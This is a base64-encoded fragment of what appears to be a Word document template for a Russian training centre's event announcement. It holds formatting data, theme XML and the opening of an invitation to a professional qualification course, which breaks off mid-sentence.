AGFKFABtSBkEc0gZBAAsFWibBsYAFmibBsYANQiBQioCT0oDAFFKAwBeSgQAbUgZBHBoAAD/AHNI GQQAIBVomwbGABZomwbGAE9KAwBRSgMAXkoEAG1IGQRzSBkEEtAiAADqIgAAWiMAAJIjAACUIwAA mCMAAJojAACeIwAAoCMAAKQjAACmIwAAqiMAAKwjAACuIwAAsCMAAPcAAAAAAAAAAAAAAAD3AAAA AAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA9QAAAAAAAAAA AAAAAPUAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAD1 AAAAAAAAAAAAAAAA9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAD3AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAQAAAAcAAAMkAWEkAWdkmwbGAAAOoCMAAKIjAACmIwAAqCMAAK4jAACw IwAA9/P38+cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZomwbGAENKMABhSjAA bUgZBHNIGQQABhZoChwZAAAPA2oAAAAAFmgKHBkAVQgBAAUyADGQaAE6cBBJwAAfsIIuILDGQSGw pQYisFIDI5AxASSQbgQlsAAAF7BoARiwxAIMkMQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4EGAASAAEACwEPAAcAAAAAAAAAAAAE AAgAAAAIAAAADgAAAA4AAAAOAAAADgAAAA4AAAAOAAAADgAAAA4AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIG AAAYAAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAAUAQAAGAEAABwBAAAgAQA AJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAyBgAAKAIAANgBAADoAQAAIAQAADAEAABABAAA UAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQAAEAEAABQ BAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAwBAAAQAQAAFAE AABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAAUAQA AGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQAAEAEAABQBAAA YAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAwBAAAQAQAAFAEAABg BAAAcAQAAIAEAACQBAAAOAEAAFgBAAD4AQAACAIAABgCAABWAgAAfgIAABQAAABfSAEEbUgZBG5I GQRzSBkEdEgZBAAAAABCAABg8f8CAEIADBAAAJsGxgAAAAcAHgQxBEsERwQ9BEsEOQQAAAIAAAAY AENKGABfSAEEYUoYAG1ICQRzSAkEdEgJBFYAAUABABIAVgAMEAAA82p3AAAACwAXBDAEMwQ+BDsE PgQyBD4EOgQgADEAAAATAAEAE6RkABSkZABAJgBbJAFcJAEAEgA1CIFDSjAAS0gkAFwIgWFKMAAA AAAAAAAAAAAAAAAAAAAAQgBBYPL/oQBCAAwFAAAAAAAAAAAVAB4EQQQ9BD4EMgQ9BD4EOQQgAEgE QAQ4BEQEQgQgADAEMQQ3BDAERgQwBAAAAABYAGkA8/+zAFgADAUAAAAAAAAAAA8AHgQxBEsERwQ9 BDAETwQgAEIEMAQxBDsEOARGBDAEAAAcABf2AwAANNYGAAEKA2wANNYGAAEFAwAAYfYDAAACAAsA AAAuAGsg9P/BAC4AAAUAAAAAAAAAAAoAHQQ1BEIEIABBBD8EOARBBDoEMAQAAAIADAAAAAAAQgD+ T6IA8QBCAAwAAABGZZ8AAAAVAGUAdgBlAG4AdABmAHUAbABsAGQAZQBzAGMAcgBpAHAAdABpAG8A bgAxAAAAAAAqAP4PogABASoADAAAAEZlnwAAAAkAZQB2AGUAbgB0AGQAYQB0AGUAAAAAADAA/g+i ABEBMAAMAAAARmWfAAAADABlAHYAZQBuAHQAcwBwAGUAYQBrAGUAcgAAAAAARABeAAEAIgFEAAwA AABGZZ8AAAANAB4EMQRLBEcEPQRLBDkEIAAoADIENQQxBCkAAAAQABIAE6RkABSkZABbJAFcJAEA AEwAHwABADIBTAAMBAAARmWfAAAAEgASBDUEQARFBD0EOAQ5BCAAOgQ+BDsEPgQ9BEIEOARCBEME OwQAAA0AEwANxggAAkUSiyQBAgAAAEoAIAABAEIBSgAMBAAARmWfAAAAEQAdBDgENgQ9BDgEOQQg ADoEPgQ7BD4EPQRCBDgEQgRDBDsEAAANABQADcYIAAJFEoskAQIAAABEAP4PAQBSAUQADAAAAPNq dwAAAA0AbABpAHMAdABwAGEAcgBhAGcAcgBhAHAAaAAAABAAFQATpGQAFKRkAFskAVwkAQAAQgD+ D6IAYQFCAAwAAADzancAAAAVAGEAcABwAGwAZQAtAGMAbwBuAHYAZQByAHQAZQBkAC0AcwBwAGEA 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 J0qTnNCKVPmArjijj1bkIqOmQci70Ej3dX2g8ZsBfMUkvWIQe9UAGZZQmv+z/TgaiWcvHxZd/lFB c9mFBSiixszgI5uqTATKW7q6xN8AAAD//wMAUEsBAi0AFAAGAAgAAAAhAOneD7//AAAAHAIAABMA AAAAAAAAAAAAAAAAAAAAAFtDb250ZW50X1R5cGVzXS54bWxQSwECLQAUAAYACAAAACEApdan58AA AAA2AQAACwAAAAAAAAAAAAAAAAAwAQAAX3JlbHMvLnJlbHNQSwECLQAUAAYACAAAACEAa3mWFoMA AACKAAAAHAAAAAAAAAAAAAAAAAAZAgAAdGhlbWUvdGhlbWUvdGhlbWVNYW5hZ2VyLnhtbFBLAQIt ABQABgAIAAAAIQClXn0txwYAANcbAAAWAAAAAAAAAAAAAAAAANYCAAB0aGVtZS90aGVtZS90aGVt ZTEueG1sUEsBAi0AFAAGAAgAAAAhAA3RkJ+2AAAAGwEAACcAAAAAAAAAAAAAAAAA0QkAAHRoZW1l L3RoZW1lL19yZWxzL3RoZW1lTWFuYWdlci54bWwucmVsc1BLBQYAAAAABQAFAF0BAADMCgAAAAA8 P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCIgc3RhbmRhbG9uZT0ieWVzIj8+DQo8 YTpjbHJNYXAgeG1sbnM6YT0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL2RyYXdp bmdtbC8yMDA2L21haW4iIGJnMT0ibHQxIiB0eDE9ImRrMSIgYmcyPSJsdDIiIHR4Mj0iZGsyIiBh Y2NlbnQxPSJhY2NlbnQxIiBhY2NlbnQyPSJhY2NlbnQyIiBhY2NlbnQzPSJhY2NlbnQzIiBhY2Nl bnQ0PSJhY2NlbnQ0IiBhY2NlbnQ1PSJhY2NlbnQ1IiBhY2NlbnQ2PSJhY2NlbnQ2IiBobGluaz0i aGxpbmsiIGZvbEhsaW5rPSJmb2xIbGluayIvPgAAAACSCgAAEwAAKgAAAAD/////AAAAAAMAAAAG AAAABgAAAAkAAAAMAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAA8AAAAACAAAfAoAAKwh AACgIwAAsCMAAAoAAAAMAAAAEgAAABQAAAAACAAA0CIAALAjAAALAAAAEwAAAA8AAPA4AAAAAAAG 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 fwoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAIAAAAAAAAAAAANM4NxAPAQAAgA/P0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEhQ AAAAAAjw/w8BCAE/AADjBAAA////f////3////9/////f////3////9/////f0ZlnwAABAAAMgAA AAAAAAAAAAAAAAAAAAAAAAAAACEEAAAAAAAAAAAAAAAAAAAAAAAAEBwAAAYAAAAAAAAAAAB4AAAA eAAAAAAAAAAAAAAAoAUAAAAAAAALAAAAAAAAANwAAAD//xIAAAAAAAAA/gAmBDUEPQRCBEAEIAA/ BDUEQAQ1BD8EPgQ0BDMEPgRCBD4EMgQ6BDgEIAA4BCAAPwQ+BDIESwRIBDUEPQQ4BE8EIAA6BDIE MAQ7BDgERAQ4BDoEMARGBDgEOAQgABoEHwQeBCAAqwAfBCAEHgQhBBIEFQQiBLsAIAAtACAAPgQ0 BD0EMAQgADgENwQgAEEEMAQ8BEsERQQgADIESwRBBD4EOgQ+BD8EQAQ+BEQENQRBBEEEOAQ+BD0E MAQ7BEwEPQRLBEUEIAA6BD4EPAQ/BDAEPQQ4BDkEIAA/BD4EIAA+BDoEMAQ3BDAEPQQ4BE4EIABD BEEEOwRDBDMEIAAyBCAAPgQxBDsEMARBBEIEOAQgAD8EQAQ+BEQENQRBBEEEOAQ+BD0EMAQ7BEwE PQQ+BDMEPgQgAD4EMQRDBEcENQQ9BDgETwQgADgEIAA/BD4EMgRLBEgENQQ9BDgETwQgADoEMgQw BDsEOAREBDgEOgQwBEYEOAQ4BCAAQARDBDoEPgQyBD4ENAQ4BEIENQQ7BDUEOQQgADgEIABBBD8E NQRGBDgEMAQ7BDgEQQRCBD4EMgQgACAEPgRBBEEEOAQ4BCAAOAQgAEEEQgRABDAEPQQgACEEHQQT BCAAEyAgAD8EQAQ4BDMEOwQwBEgEMAQ1BEIEIAASBDAEQQQgAD0EAAAAAAAACABtAGEAbgBhAGcA 